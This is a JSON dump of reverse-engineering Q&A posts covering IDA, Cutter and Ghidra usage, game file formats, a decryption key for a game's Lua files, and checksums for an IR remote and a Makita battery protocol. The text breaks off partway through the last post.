        "Body": "<p>I am reversing a 32 bit library used by a Linux game (I am sure someone might recognize the engine used). I was messing around with <a href=\"https://github.com/rizinorg/cutter\" rel=\"nofollow noreferrer\">cutter</a> and when trying to compare it to IDA, which I have used in the past for this library, I noticed that I couldn't search for C++ classes the same way I do with IDA's Ctrl+L.</p>\n<p>IDA's output:</p>\n<p><a href=\"https://i.stack.imgur.com/jpVqm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jpVqm.png\" alt=\"IDA Output\" /></a></p>\n<p>If I search in Cutter's &quot;Symbols&quot; tab:</p>\n<p><a href=\"https://i.stack.imgur.com/0feoM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0feoM.png\" alt=\"Cutter symbols\" /></a></p>\n<p>There is also a &quot;VTable&quot; tab, which also looked interesting since it's basically what I am looking for, but although it shows about 1k VTables, none of them have any kind of name:</p>\n<p><a href=\"https://i.stack.imgur.com/PeEhm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PeEhm.png\" alt=\"Cutter VTable\" /></a></p>\n",
        "Title": "How does IDA know the symbol names for classes and interfaces?",
        "Tags": "|ida|c++|symbols|vtables|cutter|",
        "Answer": "<p>Turns out that Cutter actually provides RTTI information, but not under the &quot;Symbols&quot; window but under another &quot;Classes&quot; window that is hidden by default.</p>\n<p>You can open it from <em>Windows &gt; Info &gt; Classes</em>.</p>\n"
    },
    {
        "Id": "32207",
        "CreationDate": "2023-08-24T15:52:56.333",
        "Body": "<p>I know we have some architectures for assembly language. But I wanna know this: I need learn x86 assembly ? , or arm assembly ? , or both ? , or others ?..</p>\n<p>Please help me , what should I learn?</p>\n",
        "Title": "Assembly for malware analysis",
        "Tags": "|assembly|",
        "Answer": "<p>In the short term, you'll likely need to understand and debug both x86 and ARM assembly, even if you don't write in them. Here's why:</p>\n<ul>\n<li>Analyzing malware demands the skill to read and track its behavior.</li>\n<li>A significant portion of malware targets Windows and Linux on x86 systems, which underscores the importance of x86 assembly knowledge.</li>\n<li>Based on data from <a href=\"https://portal.av-atlas.org/malware\" rel=\"nofollow noreferrer\">av-atlas</a> and other sources, the next major targets are Android and MacOS, emphasizing the need for ARM assembly knowledge.</li>\n<li>The importance of ARM assembly in this area is growing as the number of devices with ARM processors increases, presenting more potential targets for malware.</li>\n</ul>\n<p>By learning x86 assembly, you address most of your assembly language related malware analysis requirements, with ARM assembly serving as a beneficial, and at times necessary, addition.</p>\n"
    },
    {
        "Id": "32224",
        "CreationDate": "2023-08-27T12:05:33.690",
        "Body": "<p>I am looking at the &quot;wordlist.txt&quot; file for Bookworm Deluxe (an old game by PopCap), and I have not been able to make sense of it. Most of the lines seem to be pieces of words, often with a single digit prefixing them. These numbers do not constantly represent a same letter combination, as 2rdvark would seem like 2 is &quot;aa&quot;, but 2s is also in the list, and &quot;aas&quot; is not a word. Take note that the game has to have letter rarity information somewhere, but bonus <em>words</em> have their own separate file. <a href=\"https://gist.github.com/thelabcat/0c47e9b4eec3630da081d19451ede6ae\" rel=\"nofollow noreferrer\">Here is the file as a Gist.</a></p>\n",
        "Title": "Bookworm Deluxe wordlist not understood. Any insights?",
        "Tags": "|game|",
        "Answer": "<p>This answer is based on <a href=\"https://codegolf.stackexchange.com/questions/177803/parse-the-bookworm-dictionary-format\">this post on codegolf</a></p>\n<p>It mentions</p>\n<p>The rules for unpacking the dictionary are simple:</p>\n<ol>\n<li><p>Read the number at the start of the line, and copy that many characters from the beginning of the previous word. (If there is no number, copy as many characters as you did last time.)</p>\n</li>\n<li><p>Append the following letters to the word.</p>\n</li>\n</ol>\n<p>It also mentions the word list with this output</p>\n<pre><code>aa\naah\naahed\naahing\naahs\naal\naaliis\naals\naardvark\naardvarks\naardwolf\naardwolves\n</code></pre>\n"
    },
    {
        "Id": "32226",
        "CreationDate": "2023-08-27T22:25:55.767",
        "Body": "<p>I am attempting to reverse-engineer an old DOS executable, which seems to have been compiled around 1992 using Microsoft's C compiler at the time.</p>\n<p>When opening the executable in Ghidra no imports are listed, so I assume that any library functions that were utilised have been statically linked. Certain strings exist such as <code>%s%s</code>, so I can assume that <code>printf</code> has been utilised, for example.</p>\n<p>However, when looking through the code, nothing stands out as obviously being library code. Is there a way to identify library functions just from looking at the assembly/decompiled output?</p>\n<p>Thanks,\nJames</p>\n",
        "Title": "Identifying C/C++ Library Functions",
        "Tags": "|c++|ghidra|c|dos|dos-exe|",
        "Answer": "<p>You could make use of <a href=\"https://hex-rays.com/products/ida/tech/flirt/\" rel=\"nofollow noreferrer\">FLIRT</a> signatures.</p>\n<p>There's a <a href=\"https://github.com/NWMonster/ApplySig\" rel=\"nofollow noreferrer\">Python script</a> porting IDA FLIRT for Ghidra. You can use existing signature sets, for instance <a href=\"https://github.com/Maktm/FLIRTDB\" rel=\"nofollow noreferrer\">github.com/Maktm/FLIRTDB</a> (or make and apply your own signatures if needed).</p>\n<p>If you need a tutorial on Ghidra setup <a href=\"https://www.youtube.com/watch?v=CgGha_zLqlo\" rel=\"nofollow noreferrer\">here</a>'s a decent one.</p>\n"
    },
    {
        "Id": "32229",
        "CreationDate": "2023-08-28T15:00:36.880",
        "Body": "<p>I tried several hours to find a way to get the operand address which is displayed in the ghidra listing, but without success:</p>\n<p><a href=\"https://i.stack.imgur.com/LKSuu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LKSuu.png\" alt=\"indirect operand address\" /></a></p>\n<p>I know at least that the OperandType is &quot;Address&quot;.</p>\n<pre><code>import ghidra.program.model.lang.OperandType;\n\nint ot1 = ins1.getOperandType(1);\nboolean indirect1 = OperandType.isAddress(ot1); \n                // --&gt; result is true\n</code></pre>\n<p>The <code>op_rep = ins1.getDefaultOperandRepresentation(1)</code> is of course <code>[a0]-0x38d8</code> but I want the resolved reference / address DAT_d0006b78, or with the next instruction, the address of the symbol in the first operand, the address of ACCI_trqDes.</p>\n<p>If I use <code>currentProgram.getAddressFactory().getAddress(op_rep)</code> the resulting address is null.</p>\n<p>I tried it also via <code>PcodeOp[] pc = ins1.getPcode(opIndex);</code> but I was much too stupid to understand it.</p>\n<p>How can I get this? Thanks a lot!</p>\n",
        "Title": "Ghidra scripting: get indirect operand address",
        "Tags": "|ghidra|script|",
        "Answer": "<pre><code>   14098c632 48 89 44 24 28            MOV      qword ptr [RSP + local_40],RAX=&gt;KiSchedulerApc\n</code></pre>\n<p>for a line like above you want the operand Representation?</p>\n<p>you mean something like this</p>\n<pre><code>&gt;&gt;&gt; currentLocation\nOperandFieldLocation@14098c632, refAddr=1402fa5b0, row=0, col=1, charOffset=12, OpRep = RAX=&gt;KiSchedulerApc, subOpIndex = 0, VariableOffset = null\n&gt;&gt;&gt; currentLocation.getOperandRepresentation()\nu'RAX=&gt;KiSchedulerApc'\n</code></pre>\n"
    },
    {
        "Id": "32241",
        "CreationDate": "2023-08-31T00:10:12.817",
        "Body": "<p>I\u2019m trying to set a function chunk end at a certain EA in a function using my Ida python plugin, but I can\u2019t find any API which lets me do just that. set_func_end appear not to work (keeps returning false.).\nBasically I\u2019m trying to simulate the action of pressing \u201cE\u201d at a certain EA. Appreciate any help, thanks in advance!</p>\n",
        "Title": "IDA python API set function chunk end",
        "Tags": "|ida|idapython|",
        "Answer": "<pre><code>import ida_funcs\nimport ida_auto\n\nfuncEa = 0x08054FE1\nnewEndEa = 0x08054FF7\n\nf = ida_funcs.get_func(funcEa)\nf.end_ea = newEndEa\nida_funcs.update_func(f)\nida_funcs.reanalyze_function(f)\nida_auto.auto_wait()\n</code></pre>\n<p>In response to your edit, perhaps some basic safety precautions would help, as in:</p>\n<pre><code>f = ida_funcs.get_func(funcEa)\nif f is not None:\n    nChunk = ida_funcs.func_contains(f,newEndEa)\n    if nChunk &gt;= 0:\n        if nChunk &gt; 0:\n            f = ida_funcs.getn_fchunk(nChunk)\n        f.end_ea = newEndEa\n        ida_funcs.update_func(f)\n        ida_funcs.reanalyze_function(f)\n        ida_auto.auto_wait()\n</code></pre>\n"
    },
    {
        "Id": "32254",
        "CreationDate": "2023-09-03T23:10:15.523",
        "Body": "<p>For fun I've decided to reverse engineer the Mr Cool IR Remote, and build my own version of it.</p>\n<p>I've been able to capture the IR sequence for a lot of different button presses. It appears to use a coding scheme similar to the NEC standard, the main difference being it appears to be Msb first. I think it is Msb first because the byte that I think represents the temperature changes logically if I assume Msb first, if I assume Lsb first then it is not as logical. Below is a table of values I've captured along with the associated button press. What I can't make heads or tails of is how the last byte, which I assume is a checksum, is calculated. I've tried various combinations of sums and XOR and haven't gotten it. Any help/tips or tricks for figuring out the algorithm to calculate the last byte would be greatly appreciated. Note, I tried to ask ChatGPT and Bard AI to help and they were laughably bad, so hopefully us normal humans can figure this out!</p>\n<p><a href=\"https://i.stack.imgur.com/to12K.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/to12K.png\" alt=\"Button Presses and associated values\" /></a></p>\n",
        "Title": "Mr Cool Remote Control Checksum Algorithm",
        "Tags": "|checksum|",
        "Answer": "<p>I found this IR protocol documented in <a href=\"https://github.com/crankyoldgit/IRremoteESP8266#readme\" rel=\"nofollow noreferrer\">IRremoteESP8266</a> in the source code files <a href=\"https://github.com/crankyoldgit/IRremoteESP8266/blob/master/src/ir_Midea.h\" rel=\"nofollow noreferrer\">ir_Midea.h</a> and <a href=\"https://github.com/crankyoldgit/IRremoteESP8266/blob/master/src/ir_Midea.cpp\" rel=\"nofollow noreferrer\">ir_Midea.cpp</a>. The parts of the code I focused on were the <a href=\"https://github.com/crankyoldgit/IRremoteESP8266/blob/master/src/ir_Midea.h#L74\" rel=\"nofollow noreferrer\">struct definition</a> and the <a href=\"https://github.com/crankyoldgit/IRremoteESP8266/blob/master/src/ir_Midea.cpp#L499\" rel=\"nofollow noreferrer\">calcChecksum function</a>.</p>\n<p>In the struct definition, the bytes are ordered with the checksum first, so the bytes in the struct are in the reverse order compared to the bytes in your list. However within each byte, the bits appear to be ordered in the same way as your list. (The struct uses C bit fields. The colon numbers indicate how many bits each value uses. It appears this code expects the compiler to build the bit fields starting from the least significant bit of each byte. And it appears the <code>:0</code> happens to skip over the remaining bits of the byte it appears in.)</p>\n<p>The checksum method used in the code is the following:</p>\n<ul>\n<li>Reverse the bit order of each byte.</li>\n<li>Flip the bits of each byte.</li>\n<li>Sum all the bytes including the checksum byte.</li>\n<li>The sum should be 0, modulo 256 decimal.</li>\n</ul>\n<p>When I use this checksum method with your data, every row of your data gives the same sum of decimal 250 (or hex FA or binary 11111010) instead of 0.</p>\n<p>Instead, if I remove the step that flips all the bits, then the resulting method works with your data:</p>\n<ul>\n<li>Reverse the bit order of each byte.</li>\n<li>Sum all the bytes including the checksum byte.</li>\n<li>The sum should be 0, modulo 256 decimal.</li>\n</ul>\n"
    },
    {
        "Id": "32262",
        "CreationDate": "2023-09-05T12:09:24.923",
        "Body": "<p>I was trying to recreate <a href=\"https://drive.google.com/file/d/12EeyaIOId2QRDhMST_akH-34M-APW4a9/view?usp=sharing\" rel=\"nofollow noreferrer\">this game</a> because it was down but I really love it.</p>\n<p>I tried to decompile the apk and I got the java code and the assets then I looked around the code and found out the main code is not in the java but the lua folder inside the assets but the thing is that it get encrypted by XXTEA (For Example: this is <a href=\"https://drive.google.com/file/d/1k9RmP0n2sdNLZtPJay8c7uF10q-KQyKD/view?usp=sharing\" rel=\"nofollow noreferrer\">main.lua</a>).</p>\n<p>So I'm trying to use IDA to read the <a href=\"https://drive.google.com/file/d/15d3zvZLBYuWLUcu6wjwZ1p8LneikHW0J/view?usp=sharing\" rel=\"nofollow noreferrer\">lib .so file</a> to find the key but it's a bunch of stuff that doesn't let me get the key easy so I tried to use frida to trace and print out the key when the decrypt get called but sadly because the server was down so the function never get called.</p>\n<p>Please help me decrypt all the lua file or at least pls help me get the key to decrypt it, I really need it.</p>\n",
        "Title": "Need help decrypt xxtea encrypted Lua file from cocos2D game",
        "Tags": "|decryption|apk|lua|",
        "Answer": "<p>xxteakey for decrypt lua: <code>aaa</code></p>\n<p><code>xxtea_decrypt</code> function jump to <code>cocos2dx_lua_loader+F6</code>\n<a href=\"https://i.stack.imgur.com/Mc7zx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Mc7zx.png\" alt=\"1\" /></a></p>\n<p>Press F5 (decompile to pseudocode)</p>\n<p><code>void * xxtea_decrypt(const void * data, size_t len, const void * key, size_t * out_len)</code></p>\n<p><code>v22</code> is a <code>key</code> load from <code>off_5E4660</code>\n<a href=\"https://i.stack.imgur.com/lh2EF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lh2EF.png\" alt=\"2\" /></a></p>\n<p>Goto address <code>5E4660</code>\n<a href=\"https://i.stack.imgur.com/ymUDO.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ymUDO.gif\" alt=\"3\" /></a></p>\n<p><code>key</code> is: <code>aaa</code>, full key size 16 from hex: <code>61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00</code></p>\n"
    },
    {
        "Id": "32265",
        "CreationDate": "2023-09-07T06:42:40.587",
        "Body": "<p>I am a person interested of old games (MS DOS and 16 bit Windows only) and programming. In 2020, I saw an article about hacking SkiFree somewhere on the internet and soon as I followed the instructions, it was so easy that I made many games with changed graphics and added sound effects (the later 32 bit executable has a hidden ability to do so). Later I tried to go to different lengths after being impressed with my previous stuff mentioned above. Like adding new objects (referred as things in the code). I have explored the original executable using a hex editor and found this:</p>\n<pre><code>ski2.c\n</code></pre>\n<p>I have heard of old Windows applications being leaked by hackers, causing mass controversy and a big problem for Microsoft. They say they extracted the c files and headers from the executable file. Sometimes without a decompiler. I have been working on a SkiFree project for nearly 3 years only for my own enjoyment and I want to know which software do they use to do this. Can anyone help me?</p>\n<p>Thanks!\nPicaboo3</p>\n",
        "Title": "How can I extract *.c file hidden in an executable file (SkiFree)",
        "Tags": "|pe|executable|game-hacking|exe|ne|",
        "Answer": "<p>the best you can get: <a href=\"https://github.com/yuv422/skifree_decomp\" rel=\"nofollow noreferrer\">https://github.com/yuv422/skifree_decomp</a></p>\n<blockquote>\n<p>A source code reconstruction of the 32bit version of Skifree (v1.04)\nback to C, compilable with Visual Studio 6.</p>\n</blockquote>\n<p>so someone already did the very time consuming manual translation from disassembly to C for you</p>\n<p>you can load the Visual Studio 6 dsw project file (from 1998) in VS2017 or VS2019 - or create a new solution</p>\n"
    },
    {
        "Id": "32271",
        "CreationDate": "2023-09-08T06:06:02.693",
        "Body": "<p>I want to retrieve IDA Pro .idb database's each type info, such as:</p>\n<ul>\n<li><em>size and name of a structure;</em></li>\n<li><em>each member variable type and name;</em></li>\n<li><em>each member variable size and offset;</em></li>\n</ul>\n<p>And dump it to a .h file in a formatted manner. (&quot;Create C header file...&quot; just dumps without sizes and offsets and does not allow to pre-format it.) How to do this?</p>\n",
        "Title": "Retrieve & dump type information from IDA Pro",
        "Tags": "|ida|c++|idapython|dumping|script|",
        "Answer": "<p>It's obviously doable (you already noted the <code>Create C header file</code> functionality), but if you want to customize the output, you'll have to code it yourself.</p>\n<p>Here's what you'll need:</p>\n<ul>\n<li><code>ida_typeinf.first_named_type</code> and <code>ida_typeinf.next_named_type</code> to iterate through all of the type names in a TIL (i.e., the main TIL for an IDB).</li>\n<li>To retrieve a <code>tinfo_t</code> type object from a type name, create <code>tif = ida_typeinf.tinfo_t()</code>, then do <code>tif.get_named_type(name)</code> with the name returned from the functions above.</li>\n<li>Once you have the <code>tinfo_t tif</code> object, if <code>tif.is_struct()</code> returns <code>True</code>, you can get the structure details via the function <code>tif.get_udt_details</code> by passing it a new <code>ida_typeinf.udt_type_data_t</code> data structure.</li>\n<li><code>ida_typeinf.udt_type_data_t</code> is a vector of <code>udt_member_t</code> objects (plus additional information, e.g. size and alignment). Each <code>udt_member_t</code> object describes one field in a <code>struct</code> or <code>union</code>. You can retrieve member names via the <code>.name</code> field, and each field's <code>tinfo_t</code> type via the <code>.type</code> field.</li>\n</ul>\n<p>That's all you need. However, if you've never worked with types programmatically before, you're going to find it tricky. It is already evident from the above that <code>tinfo_t</code> is a mutually recursive data structure, i.e., the <code>tinfo_t</code> for a structure contains other data structures (like <code>udt_type_data_t</code>) that themselves contain <code>tinfo_t</code> objects to describe structure field types. Due to the mutual recursion in the data structures, functions involving <code>tinfo_t</code> objects are often mutually recursive.</p>\n"
    },
    {
        "Id": "32317",
        "CreationDate": "2023-09-25T05:36:31.707",
        "Body": "<p>Look at the first image:\n<a href=\"https://i.stack.imgur.com/djnmc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/djnmc.png\" alt=\"enter image description here\" /></a></p>\n<p>Here what I get is <code>var void *buf @ stack - 0x28</code>.\nBut I'm watching a tutorial there his Cutter shows like this:\n<code>var void *buf @ rbp - 0x20</code>. How can I change cutter to appear like this?</p>\n<p><a href=\"https://i.stack.imgur.com/3zREB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3zREB.jpg\" alt=\"enter image description here\" /></a></p>\n<p>I became so confused with it. Had to spent some time to discover the discrepancy.</p>\n",
        "Title": "Cutter shows addresses relative to stack but not rbp. How to change it?",
        "Tags": "|disassembly|functions|stack|cutter|",
        "Answer": "<p>@feldspar's <a href=\"https://reverseengineering.stackexchange.com/a/32338/23491\">reply</a> is 100% accurate. It was a change introduced by the Cutter team as of February 2023.</p>\n<p>I just wanted to add that the important thing here is to understand how the addressing works, regardless of whether it is relative to the bottom of the stack or the <code>rbp</code>. They are equivalent.</p>\n<p>When you have an address like <code>stack - 0x28</code> it means the variable &quot;lives&quot; in the stack at address -0x28 from the very beginning of the stack. Where does the stack begin? At <code>rbp+0x8</code> (a.k.a the saved return address).If you think about it, it is equivalent to <code>rpb-0x20</code> because the <code>rpb</code> register is 8 bytes long.</p>\n<p>If we draw the stack something like this:</p>\n<pre><code>stack+0x8  or rbp+0x10 |    ...   | Higher Addresses\nstack      or rbp+0x8  |saved @ret|\nstack-0x8  or rbp      |(old) rbp |\nstack-0x10 or rbp-0x8  |    ...   |\nstack-0x18 or rbp-0x10 |    ...   |\nstack-0x20 or rbp-0x18 |    ...   | Lower Addresses\nand so on....\n</code></pre>\n<p>it may be easier to understand why they are equivalent. Let us take as example the <code>saved return address</code> and the <code>saved rbp</code>:</p>\n<ul>\n<li>The saved return address is located from cell <code>stack</code> to <code>stack+0x7</code> (8 bytes) or <code>rbp+0x8</code> to <code>rbp+0xf</code>.</li>\n<li>Likewise, the saved rbp is located from <code>rbp</code> to <code>rbp+0x7</code> (or <code>stack-0x8</code> to <code>stack-0x1</code>).</li>\n</ul>\n<p>Hope this helps clarifying concepts.</p>\n<p>EDIT 2024.03.27: I've uploaded a video about this topic and Cutter's configuration and customization: <a href=\"https://www.youtube.com/watch?v=zrXA3AC_658\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=zrXA3AC_658</a>.</p>\n"
    },
    {
        "Id": "32345",
        "CreationDate": "2023-10-03T02:04:26.173",
        "Body": "<p>I am reverse engineering the communication protocol used by Makita XGT (40V) batteries.  I have successfully captured a number of messages and have some hints at their basic structure, but they appear to have a checksum of some description at the end of each message, and I'm not really sure how to go about figuring out the algorithm.</p>\n<p>The code that calculates them only exists on microcontroller ICs and at this point I do not think the firmware can be dumped, however the algorithm seems like it might be simple (because adding 1 to one of the bytes also adds 1 to the checksum) so I'm hoping someone might be able to spot a pattern and shed some light on how they are calculated.</p>\n<p>Here are some sample messages.  They appear to be 16-bit big endian words, however they are sent as 8-bit bytes so it is possible the checksum works at the 8-bit level, however everything else seems to be 16-bit so I'd probably start there.  (The bytes come in over the wire as <code>A5 A5 00 18</code> which I have written below as <code>A5A5 0018</code>.)</p>\n<p>Every message starts with <code>A5A5</code> so I am not sure whether this is part of the checksum or not - it may be excluded.  Messages are padded to the nearest 16-byte (8-word) boundary with <code>FFFF</code> words, and as these come after the checksum word, I presume they are not included in the checksum calculation.</p>\n<p>Here is the basic structure of the messages, with apologies for my ASCII art:</p>\n<pre><code>|||| Message header/signature/sync (always A5A5)\n||||\n||||   | Message length (bit flags)\n||||   |\n||||   |   ||| Message ID (010)\n||||   |   |||                          |||| Requesting two parameters (1201 and 120D)\n||||   |   |||                          ||||\n||||   |   |||                          ||||           |||| Checksum to be examined\n||||   |   |||                          ||||           ||||    (ignore FFFF padding)\nA5A5 0018 5010 4D4C 00CC 120D 0008 0003 0002 1201 120D 023B FFFF FFFF FFFF FFFF\n        | |\n        | | 5 = message from charger to battery\n        | | 9 = reply from battery to charger\n        |\n        | Number of padding bytes (8 bytes = 4 FFFF words)\n</code></pre>\n<p>Here is some sample data, one message per line:</p>\n<pre><code>// Message IDs starting at 01A\nA5A5 0018 501A 4D4C 00CC 120D 0008 0003 0002 1201 120D 0245 FFFF FFFF FFFF FFFF\nA5A5 0018 501B 4D4C 00CC 120D 0008 0003 0002 1201 120D 0246 FFFF FFFF FFFF FFFF\nA5A5 0018 501C 4D4C 00CC 120D 0008 0003 0002 1201 120D 0247 FFFF FFFF FFFF FFFF\nA5A5 0018 501D 4D4C 00CC 120D 0008 0003 0002 1201 120D 0248 FFFF FFFF FFFF FFFF\nA5A5 0018 501E 4D4C 00CC 120D 0008 0003 0002 1201 120D 0249 FFFF FFFF FFFF FFFF\nA5A5 0018 501F 4D4C 00CC 120D 0008 0003 0002 1201 120D 024A FFFF FFFF FFFF FFFF\nA5A5 0018 5020 4D4C 00CC 120D 0008 0003 0002 1201 120D 024B FFFF FFFF FFFF FFFF\nA5A5 0018 5021 4D4C 00CC 120D 0008 0003 0002 1201 120D 024C FFFF FFFF FFFF FFFF\nA5A5 0018 5022 4D4C 00CC 120D 0008 0003 0002 1201 120D 024D FFFF FFFF FFFF FFFF\nA5A5 0018 5023 4D4C 00CC 120D 0008 0003 0002 1201 120D 024E FFFF FFFF FFFF FFFF\nA5A5 0018 5024 4D4C 00CC 120D 0008 0003 0002 1201 120D 024F FFFF FFFF FFFF FFFF\nA5A5 0018 5025 4D4C 00CC 120D 0008 0003 0002 1201 120D 0250 FFFF FFFF FFFF FFFF\nA5A5 0018 5026 4D4C 00CC 120D 0008 0003 0002 1201 120D 0251 FFFF FFFF FFFF FFFF\nA5A5 0018 5027 4D4C 00CC 120D 0008 0003 0002 1201 120D 0252 FFFF FFFF FFFF FFFF\nA5A5 0018 5028 4D4C 00CC 120D 0008 0003 0002 1201 120D 0253 FFFF FFFF FFFF FFFF\nA5A5 0018 5029 4D4C 00CC 120D 0008 0003 0002 1201 120D 0254 FFFF FFFF FFFF FFFF\nA5A5 0018 502A 4D4C 00CC 120D 0008 0003 0002 1201 120D 0255 FFFF FFFF FFFF FFFF\n\n// Chunk 2: same message IDs as above, but different message length\nA5A5 001C 501A 4D4C 00CC 120C 0004 2101 0100 0230 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 501B 4D4C 00CC 120C 0004 2101 0100 0231 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 501C 4D4C 00CC 120C 0004 2101 0100 0232 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 501D 4D4C 00CC 120C 0004 2101 0100 0233 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 501E 4D4C 00CC 120C 0004 2101 0100 0234 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 501F 4D4C 00CC 120C 0004 2101 0100 0235 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5020 4D4C 00CC 120C 0004 2101 0100 0236 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5021 4D4C 00CC 120C 0004 2101 0100 0237 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5022 4D4C 00CC 120C 0004 2101 0100 0238 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5023 4D4C 00CC 120C 0004 2101 0100 0239 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5024 4D4C 00CC 120C 0004 2101 0100 023A FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5025 4D4C 00CC 120C 0004 2101 0100 023B FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5026 4D4C 00CC 120C 0004 2101 0100 023C FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5027 4D4C 00CC 120C 0004 2101 0100 023D FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5028 4D4C 00CC 120C 0004 2101 0100 023E FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5029 4D4C 00CC 120C 0004 2101 0100 023F FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 502A 4D4C 00CC 120C 0004 2101 0100 0240 FFFF FFFF FFFF FFFF FFFF FFFF\n\n// Checksum carries (2FF -&gt; 300)\nA5A5 001C 50E6 4D4C 00CC 120C 0004 2101 0100 02FC FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50E7 4D4C 00CC 120C 0004 2101 0100 02FD FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50E8 4D4C 00CC 120C 0004 2101 0100 02FE FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50E9 4D4C 00CC 120C 0004 2101 0100 02FF FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50EA 4D4C 00CC 120C 0004 2101 0100 0300 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50EB 4D4C 00CC 120C 0004 2101 0100 0301 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50EC 4D4C 00CC 120C 0004 2101 0100 0302 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50ED 4D4C 00CC 120C 0004 2101 0100 0303 FFFF FFFF FFFF FFFF FFFF FFFF\n\n// Checksum jumps when message ID carries (0FF -&gt; 100)\nA5A5 001C 50FC 4D4C 00CC 120C 0004 2101 0100 0312 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50FD 4D4C 00CC 120C 0004 2101 0100 0313 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50FE 4D4C 00CC 120C 0004 2101 0100 0314 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 50FF 4D4C 00CC 120C 0004 2101 0100 0315 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5100 4D4C 00CC 120C 0004 2101 0100 0217 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5101 4D4C 00CC 120C 0004 2101 0100 0218 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5102 4D4C 00CC 120C 0004 2101 0100 0219 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5103 4D4C 00CC 120C 0004 2101 0100 021A FFFF FFFF FFFF FFFF FFFF FFFF\n\n// As per Chunk 2 above, but message IDs are now +100, checksums are +1 in comparison\nA5A5 001C 511A 4D4C 00CC 120C 0004 2101 0100 0231 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 511B 4D4C 00CC 120C 0004 2101 0100 0232 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 511C 4D4C 00CC 120C 0004 2101 0100 0233 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 511D 4D4C 00CC 120C 0004 2101 0100 0234 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 511E 4D4C 00CC 120C 0004 2101 0100 0235 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 511F 4D4C 00CC 120C 0004 2101 0100 0236 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5120 4D4C 00CC 120C 0004 2101 0100 0237 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5121 4D4C 00CC 120C 0004 2101 0100 0238 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5122 4D4C 00CC 120C 0004 2101 0100 0239 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5123 4D4C 00CC 120C 0004 2101 0100 023A FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5124 4D4C 00CC 120C 0004 2101 0100 023B FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5125 4D4C 00CC 120C 0004 2101 0100 023C FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5126 4D4C 00CC 120C 0004 2101 0100 023D FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5127 4D4C 00CC 120C 0004 2101 0100 023E FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5128 4D4C 00CC 120C 0004 2101 0100 023F FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 5129 4D4C 00CC 120C 0004 2101 0100 0240 FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 001C 512A 4D4C 00CC 120C 0004 2101 0100 0241 FFFF FFFF FFFF FFFF FFFF FFFF\n\n// Random assortment of other messages\nA5A5 0018 5007 4D4C 00CC 1204 0008 2101 0008 2109 0000 0246 FFFF FFFF FFFF FFFF\nA5A5 0000 9007 4D4C 00CC B204 0000 02B2\nA5A5 0016 5008 4D4C 00CC 1205 000A 0003 0003 1201 120D 120F 024D FFFF FFFF FFFF\nA5A5 0010 9008 4D4C 00CC 3205 0010 0001 0000 1201 0404 120D 0D84 120F 0000 0341\nA5A5 001C 5009 4D4C 00CC 120C 0004 2101 0100 021F FFFF FFFF FFFF FFFF FFFF FFFF\nA5A5 0000 9009 4D4C 00CC B20C 0000 02BC\nA5A5 0018 500A 4D4C 00CC 120D 0008 0003 0002 1201 120D 0235 FFFF FFFF FFFF FFFF\nA5A5 